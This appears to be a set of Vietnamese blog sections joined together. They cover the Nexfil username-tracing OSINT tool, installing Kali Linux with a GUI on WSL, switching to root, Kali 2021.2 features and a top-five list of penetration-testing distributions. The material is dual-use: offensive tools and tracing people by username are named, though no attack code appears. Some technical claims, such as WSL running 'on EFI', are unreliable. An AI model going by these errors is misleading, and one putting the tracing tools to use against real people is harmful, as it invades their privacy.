Nexfil là một công cụ OSINT sử dụng username được cung cấp để kiểm tra trên hơn 350 trang web khác nhau trong vòng chưa đầy 20 giây, giúp truy vết người dùng dựa trên biệt danh hoặc username trong game.

Tôi có thể sử dụng Nexfil với bao nhiêu username cùng lúc?

Bạn có thể sử dụng Nexfil với một username duy nhất, nhiều username nhập trực tiếp từ terminal (tách nhau bằng dấu phẩy), hoặc nhập từ một file .txt chứa danh sách username.

Nexfil có hỗ trợ các định dạng file nào ngoài .txt?

Hiện tại Nexfil hỗ trợ file .txt. Các tính năng hỗ trợ file JSON và CSV đang được phát triển.

WSL là gì?

WSL hay Window Subsystem for Linux là hệ thống con cho Window 10 để chạy linux dựa trên nền EFI. WSL có thể sử dụng trên Window 10, Window 11 và Window server 2019 sử dụng trên nền x64 và nó cho phép chạy hệ điều hành Linux (GNU/Linux). 1 Số thứ bạn có thể làm với WSL:

• Tìm hệ điều hành từ Microsoft Store. Tất cả các hệ điều hành đó là Free 100%
• Chạy được lệnh như linux bình thường như cd, grep, bash, apt,…. hoặc bất kỳ chương trình nhị phân 64 bit (ELF-64) nào của Linux
• Chạy được các công cụ, ngôn ngữ lập trình và các dịch vụ.
• Chạy các ứng dụng Linux trên Window
• Truy cập File của Window từ Linux

Chuẩn bị

• Đối với x64: Window cần là bản 1903 với Build 18362
• Đối với ARM64: Window cần là bản 2004 với Build 19041

Hướng dẫn cài Kali linux trên WSL

Việc cài Kali Linux trên WSL sẽ giúp bạn tiết kiệm tài nguyên trên Windows vì không cần phải cài thêm VMWare.

Để tránh các lỗi về sau, Các bạn sau khi hoàn thành các bước dưới đây hãy tải WSL2 Linux kernel update package for x64 machines để tránh các lỗi phát sinh sau này. Các bạn hãy cài cái này trước khi Reboot để cho WSL hoạt động.

Sau khi cài xong thì chạy câu lệnh sau đây trong PowerShell để set WSL 2 làm mặc định nhé!

wsl --set-default-version 2

Sau đó các bạn check lại Version WSL. Sau khi đã check xong thì Restart máy tính nhé

wsl --list --verbose

Bật Windows Subsystem for Linux và Virtual Machine

Cách 1: Sử dụng Control Panel (có admin nhé)

Bước 1: Vào Control Panel

Bước 2: Vào Program

Bước 3: Chọn Turn Window Features on or off

Bước 4: Tích vào Windows Subsystem for Linux và Virtual Machine Platform. Sau đó nhấn OK

Bước 5: Các bạn Khởi động lại máy tính

Cách 2: Sử dụng PowerShell

Bước 1: Vào PowerShell với quyền Administrator

Bước 2: Nhập lệnh sau đây để bật Window Subsystem for Linux

dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart

Bước 3: Nhập lệnh sau đây để bật Virtual Machine Platfrom

dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

Bước 4: Khởi động lại máy tính

Cài đặt Kali Linux trên Window

Bước 1: Vào Store trên Window hoặc click vào link này

Bước 2: Bấm vào Get để tải Kali Linux

Vậy là các bạn đã hoàn thành việc cài đặt Kali Linux trên Window 10. Bây giờ mình sẽ hướng dẫn Set Up Kali Linux trên WSL

Set Up Kali Linux WSL

Bước 1: Bấm vào nút Launch trên Store hoặc có thể vào Start Bar để bật Kali Linux cho WSL

Bước 2: Ngồi đợi Kali Linux sẽ tự động Set Up lúc đầu cho mình

Bước 3: Sau đó, màn hình sẽ yêu cầu nhập tên UNIX và mật khẩu. Cái này là tài khoản trên WSL thôi nhé chứ không phải là tài khoản ngoài cho Window. Sau khi tạo User xong thì cứ mỗi lần bật Linux lên nó sẽ bắt bạn nhập Username và Mật Khẩu cho Kali Linux. Các bạn tránh đặt bừa không thì lại phải cài lại WSL để đổi mật khẩu.

Bước 4: Sau khi vào được giao diện dòng lệnh của Linux, các bạn chạy câu lệnh sau để cập nhật linux!. Các bạn chạy lệnh này có sử dụng lệnh sudo và nhập mật khẩu của WSL khi có yêu cầu.

sudo apt update

sudo apt upgrade

sudo apt-get update

sudo apt-get upgrade

Vậy là các bạn đã Set Up xong Kali Linux trên WSL rồi. Đối với 1 số bạn quen sử dụng Graphical User Interface (GUI) của Linux thì có thể làm theo hướng dẫn dưới đây để cài đặt nhé!

Cài đặt GUI cho Kali Linux trên WSL

Win-KeX là 1 ứng dụng cung cấp giao diện người dùng hay còn gọi là GUI cho Kali Destop trên WSL với 1 số tính năng sau đây:

• Window mode
• Seamless mode
• Hỗ trợ âm thanh
• Hỗ trợ Unprivileged and Root session
• Chia sẽ Clipboard để Copy và Paste qua lại cho Window và Linux
• Hỗ trợ Multi-session

Win-KeX hỗ trợ từ Window 10, Window 11, Window Server 2019 với Version 2004 đổ lên và bắt buộc phải có WSL2 (xem hướng dẫn bên trên).

Bước 1: Chạy câu lệnh dưới đây để update

sudo apt update

Bước 2 Cài đặt Win-KeX sử dụng lệnh sau

sudo apt install -y kali-win-kex

Bước 3: Khởi dộng Win-KeX bằng câu lệnh

kex

Sau khi nhập lệnh xong thì họ sẽ yêu cầu mật khẩu của Kali Linux. Các bạn nhập mật khẩu vào là nó tự bật nhé!

Cách Remote Desktop Kali Linux

Cài GUI cho Kali Linux

Bước 1: Cập nhật Kali linux bằng câu lệnh sau đây

sudo apt update

sudo apt upgrade

Bước 2: Cài đặt GUI bằng câu lệnh sau. Lưu ý là ở đây mình sử dụng Xfce cho nhẹ nhất nhé!

sudo apt install kali-desktop-xfce -y

Bước 3: Cài đặt XRDP để có thể sử dụng với Remote Desktop Connection

sudo apt install xrdp -y

Bước 4: Khởi động XRDP

sudo service xrdp start

Sử dụng Remote Desktop Connection với WSL

Bước 1: Trong Contana, Tìm Remote Desktop Connection

Bước 2: Vào cửa sổ dòng lệnh WSL nhập câu lệnh sau để tìm ip của Kali Linux

Ip a hoặc ifconfig

Bước 3: Nhập IP vừa tìm được vào ô Computer.

Bước 4: Sau khi nhập Xong, Hộp thoại cảnh báo sẽ xuất hiện, bạn chỉ cần nhấn ok là được nhé

Bước 5: Sau khi vào xong, Nhập Username và Password của Kali Linux vào là xong nhé!

Vậy là mình vừa hướng dẫn xong cách Sử dụng Kali Linux trên Window 10 bằng WSL. Sử dụng như vậy quả là tiện phải không các bạn? Các bạn có bình luận gì thì hãy để lại comment bên dưới để mình biết nhé! Xem thêm: Hướng dẫn cài đặt lại mật khẩu cho WSL Kali Linux tại đây.

Câu hỏi thường gặp

Tôi cần phiên bản Windows nào để cài đặt WSL và Kali Linux?

Đối với máy tính x64, bạn cần Windows 10 phiên bản 1903 trở lên (Build 18362 hoặc cao hơn). Đối với máy tính ARM64, bạn cần Windows 10 phiên bản 2004 trở lên (Build 19041 hoặc cao hơn).

Tôi có cần máy ảo để chạy Kali Linux trên WSL không?

Không, WSL cho phép bạn chạy Kali Linux trực tiếp trên Windows mà không cần sử dụng máy ảo, giúp tiết kiệm tài nguyên hệ thống.

Sau khi cài đặt Kali Linux trên WSL, làm thế nào để cập nhật hệ thống?

Bạn cần sử dụng các lệnh sau trong terminal của Kali Linux: sudo apt update và sudo apt upgrade (hoặc sudo apt-get update và sudo apt-get upgrade).

Chuyển từ quyền user sang quyền root

Để chuyển từ quyền user bình thường sang quyền root, bạn thực hiện lệnh sau:
Click phải chuột vào màn hình Desktop chọn Open Terminal here.

Gõ lệnh:

sudo passwd

Tiến hành đặt Password cho user root. Nhập Password 2 lần.

Để chuyển từ quyền user hiện tại sang root bạn gõ lệnh:

su

Bây giờ quyền user trên Terminal hiện tại đã chuyển sang root.

Để truy cập lại vào giao diện Root khi đăng nhập bạn tiến hành Switch User, click vào biểu tượng nút nguồn

Chọn biểu tượng Switch User

Nhập tài khoản root và password vừa đổi ở trên.

Bây giờ bạn có thể dùng quyền root cao nhất của Kali Linux. Các lần khởi động lại lần sau bạn cứ nhập user root/password đã đổi là truy cập được, không cần phải dùng tài khoản kali/kali nửa.

Su là gì?

“Su” là viết tắt của người dùng thay thế. Lệnh sudo chạy bất kỳ lệnh nào dưới dạng tài khoản người dùng khác và thường được sử dụng để nâng cao quyền để lệnh được chạy với các đặc quyền bảo mật nâng cao (trong thuật ngữ Linux được gọi là root). Sudo hoạt động trong một khoảng thời gian ngắn. Để chạy với quyền user khác trong một khoảng thời gian dài, hãy sử dụng lệnh su .

Câu hỏi thường gặp

Tôi có thể đăng nhập trực tiếp vào tài khoản root trong Kali Linux không?

Không, trong các phiên bản Kali Linux mới nhất, tài khoản root không được kích hoạt mặc định để đăng nhập trực tiếp. Bạn cần sử dụng tài khoản kali/kali để đăng nhập và sau đó sử dụng lệnh sudo hoặc su để chuyển sang quyền root.

Làm thế nào để tôi đặt mật khẩu cho tài khoản root?

Sau khi đăng nhập với tài khoản kali/kali, mở terminal và chạy lệnh sudo passwd root. Hệ thống sẽ yêu cầu bạn nhập và xác nhận mật khẩu mới cho tài khoản root.

Sau khi đặt mật khẩu cho root, làm sao để tôi đăng nhập trực tiếp với tài khoản root?

Sau khi thiết lập mật khẩu cho tài khoản root, bạn có thể đăng nhập trực tiếp vào giao diện đồ họa bằng cách chọn “Switch User” và nhập tên người dùng root cùng với mật khẩu đã đặt.

Tính năng mới của Kali Linux 2021.2

Offensive Security đã giới thiệu hai công cụ mới để giúp người dùng dễ sử dụng cho Kali hơn: Kaboxer và Kali-Tweaks .

Kaboxer, viết tắt của “Kali Applications Boxer”, đóng gói các ứng dụng trong vùng chứa Docker. Hãng đã có sẵn bài viết cách sử dụng Kaboxer. “Ứng dụng Kaboxed” đầu tiên của Kali linux 2021.2 được tính hợp sẵn các phần mềm:

• Covenant: Daemon sử dụng mô hình mạng server/client
• Firefox Developer Edition: trình duyệt web
• Zenmap , NMAP GUI: quét port

Kali-Tweaks: là một công cụ tự động hóa nhằm giúp người dùng Kali tùy chỉnh hệ điều hành một cách nhanh chóng và dễ dàng. Với ý tưởng giúp tùy chỉnh Kali theo sở thích cá nhân của bạn một cách nhanh chóng, đơn giản và đúng cách . Điều này sẽ giúp bạn ngừng làm những công việc lặp đi lặp lại. Ví dụ: nó có thể được sử dụng để cài đặt hoặc gỡ bỏ các nhóm công cụ, thay đổi trình đăng nhập mặc định, bật hoặc tắt nhanh tính năng “bleeding-edge” và “experimental” . Các tùy chọn mới đang được triển khai và người dùng có thể đề xuất các chỉnh sửa mà họ thấy hữu ích.

Trong Kali Linux 2021.2, việc mở listener (nghe) trên các cổng TCP và UDP 0-1023 không còn yêu cầu quyền truy cập root (nhưng điều đó chỉ có thể thực hiện trên các phiên bản Kali hoạt động với kernel).

Phiên bản hệ điều hành mới nhất cũng mang đến:

• Một nhánh Bleeding-Edge “được làm mới” (chứa các gói được cập nhật tự động từ kho lưu trữ git)
• Hai gói mới cho Raspberry Pi
• Image Kali-Docker mới (dành cho ARM64 & ARM v7)
• Hỗ trợ cho người dùng Apple M1 có Parallels
• Hỗ trợ Kali NetHunter cho Android 11 (cũng như các cải tiến đối với Bluetooth và menu cài đặt, cải thiện khả năng tương thích với các phân vùng động, v.v. )

Như thường lệ, phiên bản Kali mới mang đến các công cụ mới :

• CloudBrute: để tìm dữ liệu trên các Cloud nổi tiếng
• Dirsearch: brute force thư mục và file trong máy chủ web
• Feroxbuster: để tìm các nội dung đệ quy
• Ghidra: một bộ công cụ dịch ngược phần mềm do NSA tạo ra
• Pacu:  khai thác AWS
• Peirates: một công cụ thâm nhập Kubernetes
• Quark-Engine: một hệ thống chấm điểm phần mềm độc hại Android
• VSCode hay còn gọi là Visual Studio Code Open Source (“Code-OSS”) – một trình soạn thảo để lập trình

Cuối cùng, có một số thay đổi về thẩm mỹ và chức năng cũng như các tùy chọn mới: hình nền máy tính để bàn và hình nền đăng nhập mới và các cải tiến chủ đề cho phép thực hiện các thao tác nhanh chóng.

Làm thế nào để thực hiện kiểm tra thâm nhập? Lúc này Linux sẽ phát huy hết tác dụng, bởi vì Linux “tập trung vào bảo mật”, nó được sinh ra là để tăng cường bảo mật. Không thể bảo mật 100%, nhưng với các công cụ phù hợp, một số lỗ hổng bảo mật nhất định có thể được vô hiệu hóa. Vậy nên, trong bài viết này, mình sẽ giới hiệu cho các bạn Top 5 hệ điều hành Linux tốt nhất dành cho các pentester.

Top 5 hệ điều hành Linux dành cho Pentester ổn định nhất

1. Kali Linux

Kali Linux là hệ điều hành Linux dành cho Pentester được sử dụng nhiều nhất hiện nay. Kali Linux hổ trợ cả 32 bit, 64 bit đến ARM, cũng như một số phiên bản chuyên biệt cho nhiều nền tảng phần cứng phổ biến. Đây là nhà cung cấp duy nhất đào tạo các pentester dựa trên hiệu suất thực sự trong hơn một thập kỷ. Kali Linux là bản phân phối Linux có nguồn gốc từ Debian được thiết kế để kiểm thử xâm nhập và điều tra thuật số, ban đầu được nhóm Offensive Security phân tách từ Backtrack Linux. Kali Linux được cài đặt sẵn nhiều công cụ kiểm thử thâm nhập, bao gồm Nmap (công cụ phân tích port), Wireshark (trình phân tích gói tin), John the Ripper (trình bẻ khóa mật khẩu) và Aircrack- ng (một bộ phần mềm để kiểm thử thâm nhập mạng LAN không dây).

• Tấn công không dây
• Phân tích lỗ hổng bảo mật
• Thu thập thông tin
• Công cụ pháp y số
• Công cụ khai thác
• Kiểm tra sức chịu đựng
• Đánh giá an ninh mạng
• Đánh hơi & giả mạo
• Kiểm tra các cuộc tấn công mật khẩu
• Hack phần cứng

2. BlackArch

BlackArch Linux là một bản phân phối thử nghiệm thâm nhập dựa trên Arch Linux dành cho Pentester và các nhà nghiên cứu bảo mật. BlackArch chứa hơn 1632 công cụ. Bạn có thể cài đặt các công cụ riêng lẻ hoặc theo nhóm. BlackArch Linux tương thích với các bản cài đặt Arch hiện có (chứa hơn 1218 công cụ).

• Máy quét mạng để khám phá và bảo mật.
• WEP, WPA wifi cracker để kiểm tra thâm nhập không dây
• Tấn công Brute force đối với các thiết lập Wi-Fi được bảo vệ
• Một bộ sưu tập các công cụ phân tích lưu lượng do CERT NetSA phát triển để tạo điều kiện thuận lợi cho việc phân tích bảo mật các mạng lớn.
• Kết xuất bộ nhớ hệ thống để làm chậm, bỏ qua các lỗ hổng trong bản đồ bộ nhớ.
• Công cụ thâm nhập WLAN

3. Parrot Security

Nếu bạn đang chọn Linux dành cho Pentester thì không thể bỏ qua Parrot Security.  Đây là một bản phân phối GNU/Linux được thiết kế với tính năng bảo mật đám mây và IoT. Nó bao gồm một phòng thí nghiệm di động đầy đủ cho các Hacker và các Pentester, nhưng nó cũng bao gồm tất cả những gì bạn cần để phát triển phần mềm của riêng mình hoặc bảo vệ quyền riêng tư của bạn bằng các công cụ ẩn danh và tiền điện tử. Parrot Security bao gồm một kho vũ khí đầy đủ các công cụ bảo mật để thực hiện các bài kiểm tra thâm nhập, kiểm tra bảo mật và hơn thế nữa. Với một ổ USB Parrot trong túi, bạn sẽ luôn có thể trở thành một pentester mọi lúc mọi nơi.

• Cloud Pentesting – Parrot Cloud là một phiên bản đặc biệt của hệ điều hành được thiết kế đặc biệt cho các Server, nó bao gồm một hệ thống Parrot không có giao diện đồ họa và bất kỳ công cụ nào khác được coi là vô dụng trong môi trường ảo được điều khiển từ xa.
• Digital Forensics – Parrot Security được phát triển với sự hợp tác của Caine, một trong những bản phân phối GNU/Linux quan trọng nhất trong thế giới Digital Forensics – Một trong những mục đích của họ là cung cấp môi trường pháp y số tốt nhất chưa từng thấy trong bất kỳ bản phân phối bảo mật nào, cung cấp tất cả các công cụ cần thiết để thực hiện pháp y số và nhận dạng bằng chứng trong một phòng thí nghiệm ảo di động an toàn.
• Cryptography – Parrot bao gồm nhiều phần mềm mật mã, cực kỳ hữu ích khi nói đến việc bảo vệ dữ liệu bí mật và bảo vệ quyền riêng tư của bạn. Parrot bao gồm một số giao diện người dùng để hoạt động với cả mã hóa đối xứng và bất đối xứng, nó hỗ trợ mã hóa nguyên bản với LUKS, TrueCrypt, VeraCrypt và các khối TrueCrypt / VeraCrypt ẩn với sự hỗ trợ của thuật toán lồng nhau.

Đọc bài viết này để biết bạn nên chọn Parrot OS hay Kali Linux để học hack.

4. BackBox

BackBox không chỉ là một hệ điều hành Linux dành cho Pentester, nó là một dự án Cộng đồng Mã Nguồn Mở Miễn phí với mục đích thúc đẩy văn hóa bảo mật trong môi trường CNTT và đóng góp vào việc làm cho môi trường đó tốt hơn và an toàn hơn. Sử dụng Phần mềm mã nguồn mở miễn phí để thể hiện tiềm năng và sức mạnh của cộng đồng pentester. Danh sách các công cụ thâm nhập:

• Thu thập thông tin
• Đánh giá hệ thống
• Tấn công web
• Kiểm tra khai thác
• Leo thang đặc quyền
• Tấn công mật khẩu
• Social Engineering
• Man In The Middle Attack
• Kiểm tra sức chịu đựng
• Tấn công WEP WAP và WAP2
• Duy trì quyền truy cập
• Công cụ pháp y số
• Kỹ thuật dịch ngược
• Phân tích phần mềm độc hại
• Theo dõi

5. Cyborg Linux [ Ngưng phát triển ]

Cyborg Linux là bản phân phối thử nghiệm thâm nhập tiên tiến, đẹp, và mạnh nhất thế giới. Được cung cấp bộ sưu tập công cụ tối tân dành cho các Tin tặc chuyên nghiệp, Chuyên gia an ninh mạng và các pentester cao tay. Cyborg sẽ đơn giản hóa bảo mật trong cơ sở hạ tầng CNTT của bạn. Sức mạnh thực sự của nó đến từ việc hiểu rõ rằng pentester yêu cầu một hệ thống mạnh mẽ và hiệu quả, gồm nhiều công cụ được tích hợp vào môi trường linux ổn định.

• xploitation Toolkit – Bộ công cụ để kiểm tra tính toàn vẹn của Cơ sở hạ tầng CNTT.
• Kiểm tra sức chịu đựng – Xác định mức độ chịu đựng mà máy tính, mạng, chương trình hoặc thiết bị của bạn.
• Reverse Engineering – Dịch ngược code để phân tích bằng cách quay ngược lại chu trình phát triển.
• Pháp y số – Khám phá bằng chứng kỹ thuật số. Điều tra chúng và giải thích dữ liệu để sử dụng trước tòa án.
• Bảo mật di động – Thâm nhập, bảo mật di động và sửa các lỗ hổng bảo mật. Mobile Security bao gồm mọi nền tảng hiện có dành cho điện thoại thông minh.
• Bảo mật không dây – Bảo vệ thế giới không dây của bạn. Cyborg có các công cụ cấp cao nhất để kiểm tra tính bảo mật của bạn.

Câu hỏi thường gặp

Kali Linux có phải là lựa chọn tốt nhất cho tất cả các pentester không?

Kali Linux là một lựa chọn phổ biến và mạnh mẽ, nhưng sự lựa chọn tốt nhất phụ thuộc vào nhu cầu và kinh nghiệm của từng pentester. Các bản phân phối khác như Parrot Security hay BlackArch có thể phù hợp hơn với một số người dùng.

Tôi cần những kỹ năng nào để sử dụng hiệu quả các hệ điều hành Linux dành cho pentester?

Bạn cần có kiến thức cơ bản về Linux, mạng máy tính và bảo mật thông tin. Kinh nghiệm sử dụng dòng lệnh và hiểu biết về các khái niệm tấn công mạng là rất cần thiết.

Có hệ điều hành Linux nào khác ngoài 5 hệ điều hành được đề cập trong bài viết này không?

Có rất nhiều hệ điều hành Linux khác dành cho pentester, tuy nhiên, 5 hệ điều hành được đề cập trong bài viết này được xem là phổ biến và mạnh mẽ nhất.